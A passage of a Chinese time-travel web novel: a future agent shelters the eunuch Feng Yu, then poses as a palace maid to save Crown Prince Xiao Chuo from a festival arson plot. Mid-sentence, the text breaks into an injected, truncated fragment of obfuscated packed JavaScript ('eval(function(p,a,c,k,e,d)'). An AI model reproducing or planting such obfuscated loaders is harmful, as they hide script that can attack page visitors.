片刻后,叶南晞停在一处灯火阑珊的地方,旁边不远处就是玉绛河,河面上倒影着灯火与星光,远远望去是迷乱而璀璨的一大片。 她喘着粗气回头去看冯钰。冯钰没有表情,只是目光幽沉的望着她,说不清是喜是悲。 她笑容敛去,忽然觉得气氛有些尴尬。 双手交握在一起侧过身,她望着河面上倒影出的金色流光:“不好意思,让你看笑话了,可是这也不能怪我,谁让那人那么可恶。他骂我我能忍,可是他连带着骂了你,那我绝对是忍不了的。”说完,脑海中忽然又想到什么,唇边勾出一抹意味深长的浅笑:“我刚才趁乱又给了那人几下子,他这会儿脸上应该不显,但是到了明早绝对是要鼻青脸肿的。” 她得意洋洋的回过头,像个恶作剧得逞的顽童。可冯钰依旧是静静的望着她,仿佛是要从她身上看出些什么。 尴尬消散,她转而感到了心虚。 她试着猜测冯钰此刻的所思所想,片刻后,她上前半步,单手绕过冯钰的手臂,用柔软的手掌摩挲着冯钰的后背。她声音极致温柔,是一种哄孩子式的语气:“你是不是心里难受啊?你可千万别把那混蛋的话放心里,你还记得我之前怎么跟你说的?要正视自己,看重自己,不管你的身体如何,你都还是你,和寻常人并没有什么不同。”话到此处,她深吸一口气:“你要是实在很难受,哭一鼻子也行,我不会笑话你的。” 在她眼里,冯钰仍是那个十岁的孩童,毕竟冯钰的五年对她而言只有三天,想起冯钰,她脑袋里浮现出的还是他十岁时候的模样。 头顶忽然传来一声轻笑。 叶南晞抬起头。只见冯钰快速眨巴了几下眼睛,笑容里透着些苦涩:“你胆子太大了,下次不要跟那种莽夫起争执。” 叶南晞笑容玩味:“你怕我打不过他?” “不是。”冯钰垂眸不远处河面上的倒影:“我是怕我打不过。” 叶南晞一抬眉毛:“你?你刚才明明想要逃跑来着。” 冯钰声音很轻:“下次不会了。” 叶南晞笑着一指她:“这可是你说的。” 冯钰一点头:“我说的,下次我……”他欲言又止。 叶南晞追问:“下次你什么?” 冯钰笑着摇了摇头:“没什么”。 叶南晞重新挽起他的胳膊,带着他往前走。 走过一段路,冯钰忽然又想起了那盏花灯。花灯是用纸与竹骨搭的,禁不起挤压,早已损毁在刚才那场混乱的争执中。 冯钰边走边开口道:“那盏花灯……我再去给你找一盏更漂亮的,好不好?” 叶南晞仰头冲他笑了一下:“一个花灯而已,我又不是小孩,没有就算了。” 冯钰收回目光,想起她刚才安慰自己时的神态和语气,小声嘟囔:“我也不是小孩。” 叶南晞斜睨了他一眼,笑着应声:“好好好,我们阿钰已经是大人了。” “阿钰?”冯钰站住脚步。 叶南晞仰头看着他:“你不喜欢我这么叫?” 冯钰一摇头,很认真的答道:“不,我喜欢。” 5. 005 夜晚,冯钰躺在床榻上,难得的失了眠。 今天经历的一切好似一场惊天动地的冒险,他体会到了许多的第一次——第一次被亲近;第一次被爱护。 他第一次感觉自己活出了人的模样,不是奴才,不是牲口,也不是某样生来就该被驱使的物件儿,而是真真正正的人,一个被给予尊重与认同的人。 满心的柔情浸润了冯钰的胸膛。他侧躺在床榻上,手掌垫在脑袋下。他痴痴地望着窗前的月亮,直到指尖泛起一丝冰凉。抬起手回过头,一抹柔光泛进眼底,是月光倒影在他指间的泪水上。 夜色越是寒凉,指间的温热便越是清晰。 往后的几日,他开始观察叶南晞的日常喜好,她爱吃什么?爱做什么? 他开始习惯这样的日子,习惯屋子里多了一个人,更贪恋每日有人等他回家的温情。 然而这日当他从宫里回来,推开门时,发现屋子里没有了叶南晞的身影。他瞬间慌了,一颗心在胸腔里颤栗不止,他怀疑叶南晞是不是像上次一样说没就没了? 没了怎么办?他要去哪里找她?他找不到她了。 他站在院子里,感受到了一种前所未有的慌乱与茫然。 忽然门从外面被推开,冯钰倏的循声看过去,就见叶南晞的身影从门缝里挤了进来,手里还抱着一盆花。 花是山茶花,赤红色的花朵开得正艳。 叶南晞抬头对上冯钰的目光,未语先笑:“回来啦,我今天出去逛了逛,看这花开得好,忍不住就买了回来。你看你这院子一点花花草草都没有,毫无生机,现在有了这盆花做点缀,是不是一下子就不一样了?” 她说完,忽然察觉到冯钰神色不太对劲,一双眼睛湿漉漉的:“怎么了?” 冯钰微笑着一吸鼻子:“没什么,饿了罢,我这就去做饭。” 叶南晞还是像以前一样帮他拉风匣子,两人配合得越发默契。很快,两道小菜端上桌。 叶南晞一边吃饭,一边欣赏着被摆在窗边的花,末了用胳膊肘捅了捅身侧的冯钰:“你说我给这花起名叫绒球好不好?你看那一朵朵的花从远处看,像不像红绒球?” 花还用起名字? 冯钰不理解,但看着叶南晞笑盈盈的脸,没说什么,只轻轻应了声:“好。” “那你好好照顾它,别让它死了。” 冯钰点头。 二人吃过饭,冯钰要去洗碗,叶南晞想抢没抢赢,只好由他去。她倚靠在门框上与他聊起今日在外面逛街时的所见所闻。正聊到兴头儿上时,忽然听见有人敲门。 冯钰腾不开手,叶南晞见状自觉迎了出去。 门打开,外面站着位男子。 男子见到她,登时一脸惊诧。 叶南晞瞧着他粉白的脸庞,清瘦的身形,立刻明白他是冯钰的同僚,是来找冯钰的。侧身将路让出来,她冲里面一扬下巴:“进去罢,冯钰在洗碗呢。” 来者不是别人,是同在司礼监当差的郑椿。郑椿跨进院里,低着头站在屋檐下,没敢乱走动。他想去打量叶南晞,可又怕冒犯到人家,于是只能用小鸡啄米似地方式偷偷瞥一眼,再瞥一眼,瞥到冯钰现了身。 冯钰刚洗过手,一边往出走,一边在围裙上把手擦干。 郑椿见他走了出来,连忙迎上前,张口便问道:“钰哥,你屋里怎么藏着个女人啊!” 冯钰一听这话大惊失色,连忙去捂住他的嘴:“别胡说!不是。” 郑椿将他的手扒开,笑眯眯的挑眉瞧他:“怎么不是?还害臊。”他垂眸瞟了眼冯钰腰上的围裙:“这都过起日子了,还嘴硬?我瞧她年纪比你大些,但是相貌倒是长得极美,钰哥,你好福气啊。” 冯钰回头看了眼叶南晞所在的方向,只盼着她不要将郑椿这通胡言乱语听进耳朵里:“快闭嘴罢,真不是你想的那样儿,你到底是来做什么的?” 郑椿笑着将二钱银子塞进冯钰手里:“我来还上次借你的酒钱。” 冯钰看着掌心里的银子,沉吟片刻又将银子赛回郑椿手里:“罢了,你前些日子打碎两个瓷瓶,上头为了警醒你,扣了你三个月的俸禄,想必你近日手头很不宽裕。这钱我不着急用,你过几个月再还我也无妨。” 郑椿握着银子,颇为感慨的叹了口气。想说些什么,又觉得说多了矫情。末了,他的千言万语只化作简单的四个字:“谢谢钰哥。” 冯钰勾唇浅笑:“跟我还客气什么。若是没别的事,就快回去罢,我屋里还有事,就不送你了。”说着,抬手要去推郑椿。 郑椿嬉皮笑脸的一拧身子:“别急,我还有事儿没说完。” 冯钰眉头微蹙:“还有什么事儿?” 郑椿挑眉道:“我是想提醒你,眼看着就到万寿节了,宫里事忙,咱往后这几日都得留在宫里当值,你记得提前做好安排,把该安顿好的都安顿好。”说完冲叶南晞所在的方向飞了个眼风。 冯钰知道郑椿是在打趣自己,登时板起面孔,半推半赶的将人打发了出去。转身关上门,他靠在门板上,仰头叹了一口气。 宫里每逢大日子便要守在跟前儿也是惯例,可是一想到要与叶南戏分离,冯钰就莫名地感到失落。及至等到情绪缓和了些,才低头回了屋。 彼时的叶南晞倚在窗下的春榻上,正盯着桌上的烛火发呆。忽而听见冯钰的脚步声,她抬起头,随口闲问:“那人找你什么事?” 冯钰坐在叶南晞旁边:“给我还钱来的,另外……”他顿了顿:“姑姑,往后的几天我要留在宫里当值,万寿节快到了,我怕是脱不开身。” 万寿节。 这三个字提醒了叶南晞,万寿节正是她要去执行任务的日子。 叶南晞抬手揉搓着耳垂,若有所思的回应道:“正好,我差不多也该走了。” 冯钰心头一惊:“走?你要去哪儿?” 叶南晞思索着开了口:“我已经在这里待了一个月了,我还有别的事要做,该是时候离开了。” 耳旁忽然变得安静至极。片刻后,叶南晞终于察觉到异样,后知后觉的回过头,她见冯钰垂着头站在那里,一张脸笼在阴影下,教人辨不清表情。 忽然,冯钰的肩膀微微耸动,叶南晞怀疑他可能是在哭。 试探着站起身,叶南晞上前两步,正当她预备仔细查看冯钰的脸色时,冯钰却忽然一拧身子,逃跑似的推开门,快步消失在了她的视野里。 冯钰独自一人迎着风往前走,风拂过脸颊上的泪痕,带出一片湿漉漉的凉意。 明明早知道会有这么一天;明明知道叶南晞是仙女。短暂的停留已是不可求的眷顾,可真到了这一日,他仍然觉得自己像是遭遇了遗弃。 满心的委屈无处抒发,也没有立场抒发。他的感情与他的身份一样,都是见不得光,都是上不得台面。原本平整的道路被他走的深一脚浅一脚,赌气似的,他越走越快,整个人沉浸在昏天黑地的世界里难以平息。 不知不觉间,他走到玉绛河边,望着眼前波光粼粼的河面,心绪终于有了要平复的迹象。俯身坐在河边的一级石阶上,他望着河面发呆。石阶冰凉,他全然未觉,及至天色渐暗,明月攀升至头顶时,他才扶着膝盖站起身,缓步往回走去。 走进小院,他看向叶南晞住的那间屋子。屋子里没有点灯,他起初以为对方是提早歇息了,然而下一秒他发觉两扇门间留了一道缝。 心头倏地一沉,他快步走上前推开门,发现屋内空空荡荡,一应物品也都按照原来的样子摆放的整整齐齐,仿佛叶南晞从未存在过。 人去屋空。 她就这样走了,走的这样匆忙,甚至不肯等自己回来,与自己再多说几句话。 是不是自己刚才的反应让她察觉到了什么?她是不是在拒绝自己? 冯钰忘记自己后来是如何回的宫,行尸走肉似的,他努力控制自己不再去想叶南晞。 然而有些事越是控制,越容易失控。 三日后的正午,他坐在司礼监里抄公文,面前忽然出现了两个人。那两人押着他去到崔晟面前,然后用 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崔晟是过来人,他瞥了眼冯钰,只见冯钰的心思全都明明白白地写在脸上,嘴上却不肯承认。 掩耳盗铃,实在是可笑的很。 崔晟抿了口茶,将茶杯放在一边:“你不必解释,干爹也是从你这个年纪过来的,什么都懂。你这几日魂不守舍,全因这个女人而起。我听闻那女人是主动找上你的?” 冯钰不知该如何解释,嘴唇翕动了几下,硬是说不出一个字。 崔晟心领神会,他双手抄进袖筒子里,仰头呼出一口长气:“糊涂啊!你可真糊涂,你莫不是忘了自己的身份?你是个阉人,阉人是什么?那是跟牲口一样的奴才,一辈子供人驱使。你说说,哪个正经女人会把自己往奴才身边儿送?她定是另有所图!” 冯钰有些慌乱:“不……不是的……” 崔晟厉声打断他的话:“不是什么?”他站起身,居高临下地俯视着冯钰:“人心难测,你若总是这般天真,迟早要吃大亏!” 冯钰抿着嘴不出声。 崔晟知道冯钰是钻了牛角尖,并不认同自己的话。冯钰是个千载难逢的宝贝,他有头脑,会读书,身上又有一层“祥瑞”的吉祥气护身,这样的人假以时日,必然会出头。 一朝天子一朝臣,他崔晟如今位高权重又如何?来日新帝继位,自己必定要让位。到时候大权旁落,从前被自己坑害过的那些人迟早会反扑回来,被秋后算账必然的事。 到了那时,若无人庇护,他崔晟只有被千刀万剐一条路。所以他是真心对待冯钰,期待着来日他位极人臣,能念着自己从前的好,给自己一个善终。 冯钰是他的护身符,他不能眼睁睁的看冯钰毁在女人上。 “来人。”随着崔晟的一声呼唤,一名小太监从外面走了进来,崔晟侧头对那人道:“把冯钰拖出去,赏他十板子,让他醒醒神儿。” 冯钰被拖去院子里挨板子,十板子下去愣是没吭一声。板子挨完,他趴在长凳上,疼得脸色苍白,冷汗直冒。正是饱受煎熬、晕晕乎乎的时候,他忽然感觉旁边有人扶住了他,抬头一瞧,是郑椿。 郑椿皱着眉头,满脸忧色。他凑近冯钰耳边,轻声问道:“钰哥,你没事吧?” 冯钰艰难地摇了摇头。 郑椿羞愧地低下头:“今早崔公公问起你的事,我没想那么多,随口就说了出来,你别怪我,我真不是故意要害你。” 冯钰颤颤悠悠地深吸一口气:“不怪你,是我办事不谨慎,这顿打挨得不冤。” 郑椿将冯钰扶起来,慢慢往前走:“钰哥,你打算怎么办啊?那女人……” “她已经走了。”冯钰截断他的话。 郑椿一瞪眼:“走了?” 冯钰勾了勾唇角,扯出一丝苦笑。 郑椿看着他这副模样,心里也不是滋味:“罢了,既然如此,就忘了她罢。” “忘?”冯钰笑着摇了摇头:“忘不掉,这辈子都忘不掉了。” 6.006 其实那天当冯钰冲出家门时,叶南晞一直跟在他身后。看见冯钰坐在台阶上一下下的擦拭眼泪时,她的心头泛起一阵前所未有的钝痛。 感情对她而言向来只是一种乐趣、一种孤独的调剂品。喜欢就玩玩,不喜欢就散场。她自诩情感淡漠,此前面对情人们的挽留,她总是不屑一顾,比任何都潇洒。 然而直到此时此刻,当身体向她传达出切实的痛楚时,她才终于意识到“日久生情”这句话并不是说说而已。 一种隐秘的情愫正在潜移默化间缓缓发酵,如丝如缕、左右游移。她开始感到恐慌,不敢深想这种情愫从何而来,又将往何处去。相隔遥远的两个时代是他们无法逾越的一道天堑,自己于冯钰而言,终究只是个匆匆来去的过客。 心乱如麻的转过身,她决心用可耻却有效的方式——“逃避”来解决问题。当夜,她离开了小院,准备在第二天混入皇宫。 混入皇宫对她而言并不算难,因为她有出入宫禁的腰牌。腰牌原本是冯钰的,是她趁对方不注意时偷拿过来,然后拓印下来一份藏在身上。至于在宫中的身份更是简单。她拿着伪造的文书去到东宫,只说自己是都知监那头新派过来当差的。 各宫中的人员调配再寻常不过,一般也没有人会在这种事上弄虚作假,叶南晞就这样顺利踏入了东宫的门槛。 在此之前,她早已阅读过有关太子萧绰的人物背景。简而言之,萧绰八岁那年丧母,元后张皇后是他的亲娘,张皇后去世后郭淑妃继皇后位,成了如今的郭皇后。 郭皇后有位亲子,即是二皇子箫绎。箫绎自小被郭皇后培养的文武双全,样样力压萧绰一头,而萧绰则显得十分平庸,甚至有些木讷。 朝中大臣开始纷纷站队,有的坚信皇帝会废太子,改立箫绎;有的则坚持认为太子终究是太子,嫡长子继承皇位顺理成章,是唯一有资格做皇帝的人。 但无论两方哪方的浪头更高,始终没能动摇永安帝的想法,永安帝迟迟没有表现出要改立太子的迹象。 郭皇后大约是有些急了,毕竟自己的儿子距离储君只差一步,于是打算在万寿节趁乱动手除掉太子。 叶南晞通过AI测算,提前得知她将在萧绰的饮食中动手脚。既然得知了这一点,叶南晞便算是有了目标。 走着瞧罢,如今距离万寿节还有七日,足够叶南晞慢慢观察,等待时机。 第二次踏入皇宫,叶南晞这厢算是轻车熟路。此刻她作为新来的奉茶宫女,端着茶水走进萧绰的书房。 萧绰正低着头握着笔,不知在写些什么。 叶南晞将茶水放在桌角,伸手的时候侧头瞥了萧绰一眼。 萧绰今年才十四,叶南晞看不到萧绰的正脸,但能感觉得到得他身量很高,肩宽腰细,后背挺得笔直,单凭坐姿也能体现得出王公贵族独有的清贵气。 叶南晞收回目光,后退几步侍立在一旁。 室内一片寂静,只有风偶尔吹动纸页,发出细微的“沙沙”声。 半晌,萧绰放下笔,做了个深呼吸,伸手去端桌上的茶水。茶杯捧在手里,他垂眸扫了一眼,却是没有喝。短暂的沉默过后,他回头扫了眼叶南晞:“你,去那个柜子里给我把那两块松香墨拿出来。” 叶南晞依照吩咐转身走向窗前的立柜,用手指勾住柜子上的铜环,刚要用力,忽然只觉得脖子上一凉,竟是萧绰从身后拿匕首抵住了自己的脖子。 “诶——殿下,您这是做什么?”叶南晞失声惊叫。 萧绰阴狠的声音从耳边传来:“说?谁派你来的?你想做什么?莫不是想要孤的命?” 叶南晞抓住他握刀的那只手:“不是,殿下,你误会了,我没有要害你的意思?” 刀刃再次往下压了压:“还敢嘴硬!你是个生面孔,孤从未见过。孤喝茶从不喝花茶,而你却偏偏端上来了茉莉花,就算是你是新派来的,也必定会有人提前嘱咐你这一点,可你不知道,岂不恰恰说明你根本就是混进来的逆贼,正琢磨着想要孤的命!” 好小子,见微知著这套玩的溜啊,人物信息上说他木讷,他哪里木讷了! 叶南晞颤颤悠悠的吸了口气:“殿下,我不是来要你命的,相反,我是想救你的命。” 萧绰咬着牙:“你少在这里花言巧语!再不说是谁派你来的,孤立刻送你去见阎王!” 叶南晞定了定神,单刀直入的开口道:“你八岁那年落入荷花池中,不是失足落水,是有人推得你,可是你没说,自己默默忍了下来;十岁那年你上书房,那篇被先生大加赞赏的策论其实是出自你手,却被二皇子偷了过去,重新誊抄后成了他的文章,他因此被圣人赏了一匹宝马;十三岁那年,二皇子来东宫吃了一块点心,回去后呕吐不止,太医说是中毒,你从此背上毒害兄弟的恶名。朝臣们主张将你废储,但后来因为证据不实,你才算是勉强保住了储位。” 叶南晞把话说得有条有理,句句属实。 萧绰听后,眉心不禁拧成结:“就算你知道这些也证明不了什么。” 叶南晞想回头,刚想动作却意识到还被刀抵着脖子:“说明我知你苦楚,真的是来帮你的。”见脖颈上的刀仍未松,她又补充道:“你还记得你母后临去前的话吗?”她顿了顿,一字一句地念出了那句话:“吾不求吾子卓然成才,但愿其一生安康,平和顺遂。” 萧绰手臂一抖,声音跟着发了颤:“你……你怎么会知道?” 这是张皇后去世前对萧绰说的最后一句话,当时旁边没有其他人在场,不可能会被第二人听去。 萧绰思索片刻,随即收了匕首,他握住叶南晞的肩膀,猛地将叶南晞扳正过来。 双方骤然对视了,叶南晞只见萧绰眉眼间笼着一层英气,眼底泛着冷厉的光。叶南晞立刻明白所谓的木讷是他的保护色,他心里其实什么都明白。 “你究竟是谁?”萧绰一眼不眨地盯着叶南晞。 叶南晞不惧与他对视:“我是受张皇后之托,来护佑你性命的仙女。” 萧绰蓦地一眯眼:“你当我是三岁小孩?这世上哪有什么仙女?” 叶南晞深吸一口气,侧头看向殿外的天色。天光大亮,晴空无云,全无要下雨的迹象,可她却面不改色的说道:“两个时辰后会有雷阵雨。”话罢,回头对上萧绰那一脸狐疑的表情:“你若不信我,不妨等等看,旁人有可能与我串通,老天爷你总归是要信的吧。” 两个时辰刚过,雷雨如期而至。 萧绰站在飞檐下,看着雨滴淋淋沥沥的面前连成雨幕,同时伴随着阵阵雷鸣。他定在原地一动不动,半晌后才转回身,快步走到叶南晞面前,目光里的冷硬全没有了,他眼里尽是热切与欣喜:“你真是我阿娘请过来的仙女?” 叶南晞轻盈的一点头。 仅仅是借助系统看了眼“天气预报”,便轻易哄得萧绰对自己深信不疑。叶南晞笑微微的看着他:“怎么样,我没骗你罢?” 萧绰抿了抿唇:“我信了,阿娘临去时的那句话是俯在我耳边说的,周围也没别人,你若不是仙女,又如何会知道得那样仔细?一个字都没差。”他说完这番话,忽然意识到了什么,连忙引着叶南晞进了里屋,又特意吩咐了不许人随意进来。 二人隔着一张桌子坐了,萧绰拿叶南晞当神仙,举手投足间尽是恭敬。他压低声音问道:“敢问尊者如何称呼?” 叶南晞双臂伏在桌上:“叶南晞。” “叶南晞尊者。” “不不。”叶南晞一摆手:“没有什么尊者,就是叶南晞,你叫我南晞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶南晞直视着他:“所以那日无论你是要吃还是要喝,所有东西必须由我先验毒。” 萧绰郑重的一点头:“好,我答应你。” 叶南晞见萧绰的眉头仍笼罩着一层阴影,她趴在桌上,仰头朝萧绰挤出一个甜甜的微笑:“别担心,一切有我在。” 萧绰怔怔地望着叶南晞,他如履薄冰的活了这些年,头一次听到有人跟他说这样柔软又有力的话。心头萦绕着一层淡淡的暖意,他眼里掠过一抹浮光:“还有七日便是万寿节,不如这几日你就留在东宫,跟着我罢。” 叶南晞一点头:“也好。” 为了方便办事,萧绰顺手将叶南晞封了个女官的职位。底下人收到吩咐,立刻去找她的档案,准备往上添笔记录。然而找了半天,却是根本找不到叶南晞的档案。 宫内丢失宫人的档案不是头一回发生,有时档案保存不当,发了霉的、泡了水的、被拉扯乱了的也时有发生。 为了避免被主子怪罪,管事儿的干脆没提这档子事儿。如此一头装聋,一头做哑,两两相合竟给了叶南晞在这个时代的正式身份——东宫侍墨女官,叶南晞。 虽是女官,可她不管事,只服务于太子一人,正如头衔中“侍墨”二人,说到底还是伺候人的。 不过萧绰不让她真的伺候自己,他是真拿叶南晞当神仙,事事礼敬有加。 很快,七日已过,万寿节当日,宫内尽是一片热闹辉煌的盛景。长庆殿前大摆筵宴,各方宾客依照次序与礼节向永安帝献寿辞。 萧绰的座位被安排在永安帝下首位上,相隔不过十来步的距离。叶南晞作为侍墨女官站在萧绰身后,默默观察着眼前发生的一切。 她不动声色地观察着周围,就见永安帝精神健硕,可鬓边的白发丛生;郭皇后容貌清丽,可笑容却透着伪善;也看见萧绰举手投足间的局促不安,以及一群群来了又走,走了又来的宾客,最后透过层层人墙,她无意间瞥见了一双泛着泪光、饱含深情的眼睛,那是冯钰的眼睛。 7.007 叶南晞没有走。 原以为这次分别即永别,哪知日思夜想的人再次突然出现在面前,冯钰心里百感交集。 两人相隔百余步的距离,冯钰的嘴唇动了动,似乎有话想说。然而此刻场合特殊,不方便随意走动,再加上叶南晞有任务在身,必须把注意力集中在萧绰身上,绝不可轻易疏漏任何一个细节。 叶南晞收回目光,眼里只留下萧绰一人。 很快,到了皇子们献礼的时间。 永安帝膝下子嗣不多,只有三位皇子,除了太子萧绰与二皇子箫绎外,还有位三皇子萧继。萧继今年刚满五岁,还是个娃娃,此刻正被他母亲悦妃揽入怀中,哄着吃点心。 众人不约而同的把目光聚焦在萧绰与箫绎的身上。 萧绰掀袍跪在地上,叩首完毕后,捧出了他亲手抄写的法华经,朗声道:“儿臣萧绰恭祝父皇万福金安,天赐寿考。特敬呈此《法华经》抄本,祈愿佛佑皇上千秋万岁,国祚绵延,福泽如海,康宁永固。” 永安帝笑微微的点了点头:“吾儿有心,平身。” 紧接着到了箫绎,比起大哥萧绰的稳重端方,箫绎身上则多了几分恣意昂扬的精神气,一双眼睛流光溢彩,说起话来也含着笑意:“父皇,您看儿臣给您带来了什么好宝贝。” 随着箫绎轻轻一拍巴掌,旁边七八名宫人合力抬上来一尊七尺高的金身佛像。那佛像造像极其精美,一眼便知是出自名家之手,尤其是面容部分,与永安帝一模一样,连神态都极其肖似。 永安帝是礼佛之人,又一向自诩仁厚慈悲,萧绰的手抄佛经固然表达了心意,投了永安帝的喜好,可箫绎却直接给永安帝塑了尊像,两者的称心程度可谓是天差地别。 永安帝扶着膝盖站起身,眼睛里放了光,全然不掩饰自己内心的激动:“这佛像的脸……” 箫绎朗声道:“是按着父皇的容貌刻的,父皇可喜欢?” 永安帝冲着箫绎一招手:“来人!快把二皇子的食案搬到朕身边来。” 萧绰看着箫绎的背影,眉眼间一阵黯然。 瞧瞧他这个太子做的多窝囊,处处被箫绎力压一头,可是他又能怎么办呢?箫绎搬来的这尊金佛的造价少说千两,而他别说千两,怕是拿百两出来也十分为难。 箫绎有皇后这位亲娘撑腰,而他什么也没有。朝臣们倒向郭皇后与二皇子那边似乎是迟早的事。 萧绰坐回到位置上,回头看了眼叶南晞,目光复杂。 叶南晞明白他的心思,弯腰小声在他耳边劝慰:“相信我,这一切都是暂时的。” 萧绰低着头没说话,伏在膝盖上的手掌缓缓攥握成拳。 很快,到了开始摆宴的时候。 试毒笔早已提前准备好,就藏在叶南晞的袖子里。每当新的酒菜上桌,她便无比仔细的一一验毒,测了又测。及至酒过三巡,宴席已近尾声时,仍然没有查验到任何饮食被下过毒的痕迹。 怎么可能呢? 就在叶南晞沉思时,萧绰醉意微醺。半睁着眼站起身,他目光迷离对叶南晞道:“我去更衣,片刻便回。” 萧绰离开的时候,叶南晞仍然在思索究竟是哪里出了问题。 首先,试毒笔运转正常,这个她提前就确认过,更何况新时代的工具没有那么容易坏;而系统就更不可能出错,哪怕她叶南晞出了错,AI系统都不可能出错。 忽然,一个念头窜入脑海,叶南晞忽然意识到系统给自己的推测结果从始至终从未提起“毒”这个字,是自己听了饮食有异样,便下意识的以为对方会用毒。 糟糕! 叶南晞转身便跑,同时立刻呼出希瑞,利用系统搜索萧绰的位置。 宫道上此刻人来人往,她这般狂奔的模样虽偶尔引来侧目,但众人都有活计在手,无闲搭理她。叶南晞就这样一路跑回了紫云殿。 紫云殿是东宫中的一座偏殿,平日极少有人进出。此时此刻,殿内映出火光,片刻间便火光冲天。 叶南晞什么都明白了,根本没有什么毒药,是迷药,他们想趁着萧绰昏迷时烧死他,将他的死亡伪装成一场意外。 来不及多想,叶南晞抬腿便往里闯,步子还未跨出去,她被人从后面一把拽住胳膊。慌乱间回过头,她在火光的映照下看见了冯钰的脸:“阿钰?你怎么来了?” 冯钰胸口剧烈地起伏着,他刚才一直默默关注着叶南晞,叶南晞离席时的惊慌全被他尽收眼底。 他怀疑叶南晞那边是出了什么事情,于是一路追着她跑过来,末了见叶南晞作势要往火里冲,魂儿都快吓飞了,焦急地问道:“你要做什么?” 叶南晞眸子里闪过一丝亮光,一个主意在瞬间在脑海中成型:“来的正好!别动。”说着,她迅速从虚拟背包中取出喷雾,劈头盖脸地对准冯钰便是一通乱喷,一边喷一边大声嘱咐道:“你放心,喷了这东西,火就烧不到你,你一定要把太子救出来,他将来必然会做皇帝,跟好他,你前途无量!快去!” 话音落下,她狠狠推了冯钰一把。 “太子!太子怎么会在里面?”冯钰虽然是一脸愕然,可既然是叶南晞的话,他便不会质疑。迎着火光大步向前,他冲进火里,一通搜寻过后,终于在烟尘弥漫的角落里看见了萧绰。 萧绰躺在地上,意识已陷入昏迷。四周火势汹汹,不断地朝这边蔓延。冯钰见状不敢耽误,当即拼尽全力将萧绰背在身后,背着他逃出了火海。 殿外这时早已围满了人。越来越多的宫人提着水桶从远处跑来,全是来救火的。 场面实在太过混乱,有人看见了冯钰从火海中背出一人,起初没有在意,及至凑近了仔细一瞧,震惊的发现冯钰背上那人居然是太子。 那人当即大喊道:“快来人!太子殿下在这里!” 一听储君有难,周围人立刻围上前来。众人七手八脚将萧绰转移去了其他宫室,紧跟着便有太医来为萧绰施救。 消息很快传进永安帝的耳朵里,永安帝听闻此事后大惊,当即散了宫宴,下令彻查此事。 很快,有宫人向永安帝回报了此事的大致情形,并提及救人的是冯钰。永安帝起初听着这名字只觉得耳熟,仔细一想,很快将五年前的事回忆了起来。 他将冯钰召到面前,居高临下地看着冯钰, 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冯钰垂头:“是,奴婢早在五年前便与她相识了。” 萧绰心领神会,原本碎片化的记忆忽然融会贯通,他对当下的处境有了理解。他倚靠在软榻上,窗外随风摇曳的树影轻声道:“孤也找不到她,她既是天上的仙女,想必是回了天上。你是听了她的话才来救得孤,那定是她留给孤的贴心人。往后你便好好留在孤的身边,孤必不会亏待你。” 萧绰既然活了过来,便有了反手的机会。 他先是以身边人懒怠,险些因疏忽害死自己为由,向永安帝提出更换一批宫人,趁机将郭皇后安插过来的那些眼线全部换掉。紧接着又在冯钰的提醒下,向永安帝求来亲自查案的权利。 冯钰心思细腻,查案时发现了不少旁人难以觉察到端倪,最后更是顶着压力,将线索全部引到了郭皇后的身上。 他怕这些还不足以定郭皇后的罪,于是又跟着查探起旧案,将过往与郭皇后有关的、种种存疑的事也一并翻了出来。 案子再查下去势必要废后,永安帝一方面顾念夫妻情谊,一方面又不得不考虑二皇子箫绎的颜面,最终决定将此事大事化小,以替大燕祈福为由,保留皇后封号,送郭氏入宁安寺参禅礼佛,潜心修行。 虽保留封号,但也只是保留了个体面,皇后的实权已然荡然无存。 朝堂上的局势闻风而变,曾经站在皇后与二皇子那一方的人纷纷倒向萧绰。 这些人各怀心思,萧绰不肯全信他们,他如今信任的只有冯钰。冯钰不仅救了自己,更是叶南晞替自己挑来的人,再加上他是有真本事,虽然外表看似文弱,手段却十分凌厉强硬,不惧上位者的淫威,在扳倒郭皇后上出了大力。 渐渐地,两人的关系不仅仅局限于主仆,他待冯钰算得上是肝胆相照,拿冯钰当自己在这宫里唯一的挚友,敬称他一声“伴伴”。 夜晚,萧绰与冯钰一起站在屋檐下赏月,萧绰忽然问冯钰:“伴伴,你说仙女还会回来吗?” 冯钰心头揪了一下,他低头缓了片刻,声音低沉得好似一声叹息:“会的。” 8.008 任务圆满结束,叶南晞登上星际观光飞船,开始了自己的度假时光。 她难得做了个休闲的打扮,长发披散在肩头,一双眼睛正透过面前的落地玻璃,欣赏着宇宙中炫目又旖旎的风景。 星际时代,人类的活动范围早已突破太阳系,地球上最具实力的几个首领国纷纷派出宇宙战舰,在各个星系中跑马圈地,人类文明正式跨入新的纪元,奔赴到更广阔浩瀚的宇宙中。 叶南晞便是这浩瀚宇宙中的一粒微尘,也是宇宙中的组成部分。她侧身躺在躺椅上,眼睛看向窗外,脑子里思考着与穿越有关的事情。 毕竟曾在那里生活过一个多月,过去的影像映刻在她的脑海里,偶尔不经意地回头,便会重现眼前。 她仿佛又看见了离开前的那一幕——火光中冲出两道身影,是冯钰背着萧绰逃出火海。那一刻她血脉喷张,除了对自己的任务成功感到开心,更多是为冯钰和萧绰松了一口气。 真好,真圆满。不仅帮了萧绰,还顺手给了冯钰一个好前程。 她当时本想上前接应一下冯钰,但一看乌泱泱的人群从四面八方围到二人身边,脚步不由地一滞。 算了,此时若再露面,不知道后面还会牵扯出多少事,倒不如就此事了拂衣去,反正以后也不会再与对方有任何交集。 就这样,叶南晞启动装备,回到了现代。 回来之后,她发现自己并不如想象中的那般潇洒,向来在各个时空中来去随心的她,第一次对某个特定的地点有了特别的留恋。 她始终惦记着与大燕有关的事情,为此,她特意去查阅了时空资料,得知萧绰不仅会顺利登上皇位,还会成为一代明君,千古流芳。而冯钰作为他的亲信,也会尽心尽力地辅佐他,成为历史上难得享有美名的宦官,青史留名。 一口长气悠悠的呼出肺腑,叶南晞不知为何,在欣慰的同时,心头总是萦绕着些许失落与惆怅,如影随形,挥之不去。 站起身走到酒柜前,她动作熟稔的打开一瓶红酒,拔开瓶塞,倒了半杯给自己。摇着酒杯躺回躺椅上,她双唇轻启抿了一口,还未等她将这口红酒咽下,一通电话便打了进来。 叶南晞手指在空中轻点,召出操作平台,屏幕上显示出时空管理局的号码。 时空管理局? 